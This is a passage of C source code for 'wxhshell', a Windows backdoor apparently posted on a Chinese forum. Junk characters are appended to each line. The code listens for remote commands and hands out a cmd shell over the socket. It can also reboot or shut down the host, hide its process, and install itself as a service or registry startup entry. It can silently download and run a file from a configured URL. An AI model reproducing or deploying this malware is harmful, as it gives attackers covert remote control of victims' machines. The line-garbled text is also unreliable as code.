      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "Lk -R5iFd  
    break; @.;] $N&J  
  } ,)e&u1'  
  // 安装 &Ed7|k]H  
  case 'i': { _fx0-S*$  
    if(Install()) zZ &L#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D1o<:jOj  
    else k #y4pF_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YhYcqE8  
    break; 0OO$(R*  
    } 3o&PVU? Q  
  // 卸载 j/`- x  
  case 'r': { :Fz;nG-G  
    if(Uninstall()) ?piv]Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ca?5bCI,  
    else M9'Qs m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7pMQ1- (  
    break; U]tbV<m%  
    } jX}}^XwX  
  // 显示 wxhshell 所在路径 <NZ^*]  
  case 'p': { -.-j e"E  
    char svExeFile[MAX_PATH]; ,e{(r0  
    strcpy(svExeFile,"\n\r"); 83~ Gu[  
      strcat(svExeFile,ExeFile); DG,CL8bv  
        send(wsh,svExeFile,strlen(svExeFile),0); kY*3)KCp  
    break; ,S 5tkTa  
    } M24FuS  
  // 重启 eIBHAdU+g/  
  case 'b': { .|[ZEXq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); EN />f=%  
    if(Boot(REBOOT)) @ c,KK~{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bf33%I~  
    else { '2mR;APz  
    closesocket(wsh); WBD e`  
    ExitThread(0); lPF(&pP  
    } S`HshYlE q  
    break; m99j]w r~c  
    } P=PcO>  
  // 关机 wQbN5*82  
  case 'd': { 2 g5Ft  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^HYmi\`  
    if(Boot(SHUTDOWN)) UQ6UZd37   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [ fvip_Pt  
    else { D-\WS^#  
    closesocket(wsh); M:x?I_JG8  
    ExitThread(0); u&/[sq x  
    } sk !92mQ  
    break; v$c*3H.seM  
    } fq(r,h=|  
  // 获取shell 4Kjrk7GAx  
  case 's': { vFz%#zk>  
    CmdShell(wsh); e=K2]Y Q{  
    closesocket(wsh); PkA_uDhw  
    ExitThread(0); y+xw`gR:  
    break; w:xLg.Eq6  
  } "Y0:Y?Vz"  
  // 退出 *)0bifw$&  
  case 'x': { c@9jc^CJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "^E/N},%u5  
    CloseIt(wsh); #v!(uuq,  
    break; v Yt-Nx  
    } "{>I5<:t  
  // 离开 <Y~?G:v6+  
  case 'q': { 4a3Xz,[(a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); v,t;!u,40  
    closesocket(wsh); \`?#V xz  
    WSACleanup(); ~XAtt\WS  
    exit(1); *V+6409m  
    break; _/;k ;$gDp  
        } &'`q&U1x  
  } :N03$Tvl  
  } M`IiK+IoU  
Trd/\tX#v&  
  // 提示信息 ngF5ywIG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RDU,yTHq  
} O%?TxzX;  
  } .Rt_j  
Kq!E<|yM  
  return; vlYDhjZk#  
} sVP[7&vr~  
lF-;h{   
// shell模块句柄 YT!QY@qw  
int CmdShell(SOCKET sock) SN2X{Q|*  
{ Ar&]/X,WG  
STARTUPINFO si; mD }&X7  
ZeroMemory(&si,sizeof(si)); B.wihJVDg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2>~{.4PI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; = 7U^pT  
PROCESS_INFORMATION ProcessInfo; w?_y;&sbR  
char cmdline[]="cmd"; tY$ .(2Ua  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "0x"X w#I  
  return 0; 9_Tk8L#  
} 1Xy{&Ut\  
qh}M!p2  
// 自身启动模式 P(?i>F7s  
int StartFromService(void) g7*cwu  
{ Z}bUvr XP  
typedef struct ECHl 9; +  
{ |rJ1/T.9  
  DWORD ExitStatus; TAz #e  
  DWORD PebBaseAddress; d>"t* >i]>  
  DWORD AffinityMask; Z9-HQ5>  
  DWORD BasePriority; Abr:UEG  
  ULONG UniqueProcessId; GE4d=;5  
  ULONG InheritedFromUniqueProcessId; Gy{C*m7Q  
}   PROCESS_BASIC_INFORMATION; }'HJVB_  
:%GxU;<E{  
PROCNTQSIP NtQueryInformationProcess; oXw}K((|  
d"zbY\`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; uv*OiB"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "0Xa?z8"  
pT Yq#9  
  HANDLE             hProcess; fsc^8  
  PROCESS_BASIC_INFORMATION pbi; ?D P]#9/4  
;{b 1'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $ijWwrh  
  if(NULL == hInst ) return 0; cJ9:XWW  
l:NEK`>i  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (WT0 j  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }W&hPC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S.o 9AUv9  
v=Ep  
  if (!NtQueryInformationProcess) return 0; _%WJ7~>  
pQ0yZpN%;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); RB1c!h$u  
  if(!hProcess) return 0; cVv>"oF;~*  
G=4Da~<ij  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @}@`lv65}  
p"^^9'`=  
  CloseHandle(hProcess); "B`yk/GM]  
e6s-;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :nki6Rkowt  
if(hProcess==NULL) return 0; <p<jXwl  
xR5jy|2JJ  
HMODULE hMod; $-""=O|"   
char procName[255]; ~7PPB|XY  
unsigned long cbNeeded; w-Zb($_  
#BK\cIr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6hKavzSi  
>W 2Z]V  
  CloseHandle(hProcess); G hH0-g{-  
e* gCc7zz  
if(strstr(procName,"services")) return 1; // 以服务启动 9TGjcZ1S'  
Qxj &IX  
  return 0; // 注册表启动 u?[P@_i<  
} n y6-_mA]  
*au&ODa  
// 主模块 =8OPj cX.V  
int StartWxhshell(LPSTR lpCmdLine) 7NG^X"N{Ul  
{ [.tqgU  
  SOCKET wsl; @ ?y(\>  
BOOL val=TRUE; cWIX!tc8  
  int port=0; kQlXcR  
  struct sockaddr_in door; k)\Yl`4au  
oD_'8G}  
  if(wscfg.ws_autoins) Install(); eN]0]9JO  
s]Z/0:`  
port=atoi(lpCmdLine); rC~hjViG.  
~X;r}l=k<  
if(port<=0) port=wscfg.ws_port; +) 2c\1  
* bmdY=#7  
  WSADATA data; K1RTAFf /  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2!/*I:  
d |Wpub  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   cw#p!mOi~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7V?]Qif~  
  door.sin_family = AF_INET; H~RWM'_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2&fIF}vk>m  
  door.sin_port = htons(port); vW6Pf^yJ  
.(Q3M0.D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^!H8"CdC3  
closesocket(wsl); pLMki=.Ld  
return 1; '/ 3..3k  
} NwM=  
-WP_0  
  if(listen(wsl,2) == INVALID_SOCKET) { UMUr"-l =  
closesocket(wsl); * EOIgQp  
return 1; h &9Ld:p  
} B]]_rl,  
  Wxhshell(wsl); 0+IJ, ;Wx  
  WSACleanup(); 1vQf=t %lw  
Mvoi   
return 0; sAS\-c'6  
\>nPg5OT  
} l<)(iU  
]od]S 8$5  
// 以NT服务方式启动 g':mM*j&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P7d" E  
{ 4lC:svF  
DWORD   status = 0; Q/4g)(~J  
  DWORD   specificError = 0xfffffff; q.i@Lvu#  
7~TE=t  
  serviceStatus.dwServiceType     = SERVICE_WIN32; mJ0nyjX^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?m#X";^V  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; uy{mSx?td  
  serviceStatus.dwWin32ExitCode     = 0; +#O?a`f  
  serviceStatus.dwServiceSpecificExitCode = 0; 69(z[opW  
  serviceStatus.dwCheckPoint       = 0; fKIwdk%!-  
  serviceStatus.dwWaitHint       = 0; x:=Kr@VP  
csT_!sI I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u$x H iD  
  if (hServiceStatusHandle==0) return; ftsr-3!Vm  
-tZ2 N  
status = GetLastError(); PH 97O`"  
  if (status!=NO_ERROR) hu[=9#''$  
{ <9eQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Wfkm'BnV  
    serviceStatus.dwCheckPoint       = 0; 2S}%r4$n}  
    serviceStatus.dwWaitHint       = 0; qQ%zSJ?  
    serviceStatus.dwWin32ExitCode     = status; ORlz1 &hW  
    serviceStatus.dwServiceSpecificExitCode = specificError; HH+NNSRO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {'G@-+K  
    return; h;f5@#F  
  } iyrUY  
orf21N+[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; RvV4SlZz  
  serviceStatus.dwCheckPoint       = 0; 9 a2Ga   
  serviceStatus.dwWaitHint       = 0; N8 }R<3/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); LlL\7?_;  
} Zu:cF+h l  
#wbaRx@rc  
// 处理NT服务事件,比如:启动、停止 p #'BV'0bl  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s0v?*GRX  
{ 1 9a"@WB@  
switch(fdwControl) |ap{+ xh  
{ hf0G-r_ow  
case SERVICE_CONTROL_STOP: U#1T HO`  
  serviceStatus.dwWin32ExitCode = 0; dz &| 3o  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; //`heFuc]>  
  serviceStatus.dwCheckPoint   = 0; n@{fqj  
  serviceStatus.dwWaitHint     = 0; T^S|u8f  
  { _WtX8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R+8+L|\wHv  
  } 8dq{.B?  
  return; 01 6l$K4  
case SERVICE_CONTROL_PAUSE: /L'm@8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; V=k!&xN~  
  break; ui`xgR\6Rh  
case SERVICE_CONTROL_CONTINUE: =1)yI>2e%}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3SVI|A5(d  
  break; O\pqZ`E=s  
case SERVICE_CONTROL_INTERROGATE: r vVU5zA4H  
  break; ~-lIOQ.v  
}; Tz+2g&+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $&nF1HBI4  
} |uV1S^ !A  
 a)PBC{I  
// 标准应用程序主函数 )-|A|1Uo  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n' 73DApW  
{ ;SeDxyKG  
@)m[: n  
// 获取操作系统版本 UP 1Y3  
OsIsNt=GetOsVer(); W"AWhi{h  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2:MB u5**  
+|r;t  
  // 从命令行安装 lYv :  
  if(strpbrk(lpCmdLine,"iI")) Install(); m7z/@b[  
IK(G%dDw  
  // 下载执行文件 R}Uv i9?  
if(wscfg.ws_downexe) { RW48>4f/+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F*>:~'%  
  WinExec(wscfg.ws_filenam,SW_HIDE); uf\Hh -+p  
} >},O_qx  
t= "EbPE  
if(!OsIsNt) { ^v*ajy.>  
// 如果时win9x,隐藏进程并且设置为注册表启动 6Bmv1n[X^h  
HideProc(); }lML..((1  
StartWxhshell(lpCmdLine); 7'7bIaJk  
} ?RiW:TQ*  
else +che Lc  
  if(StartFromService()) ~xGWL%og  
  // 以服务方式启动 HcUivC  
  StartServiceCtrlDispatcher(DispatchTable); 39S}/S)  
else ii2X7Q  
  // 普通方式启动 a2v UZhkR  
  StartWxhshell(lpCmdLine); jWiZ!dtUZ  
,;;M69c[ x  
return 0; 7 ;|jq39  
}
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只看该作者 1 发表于: 2006-10-10
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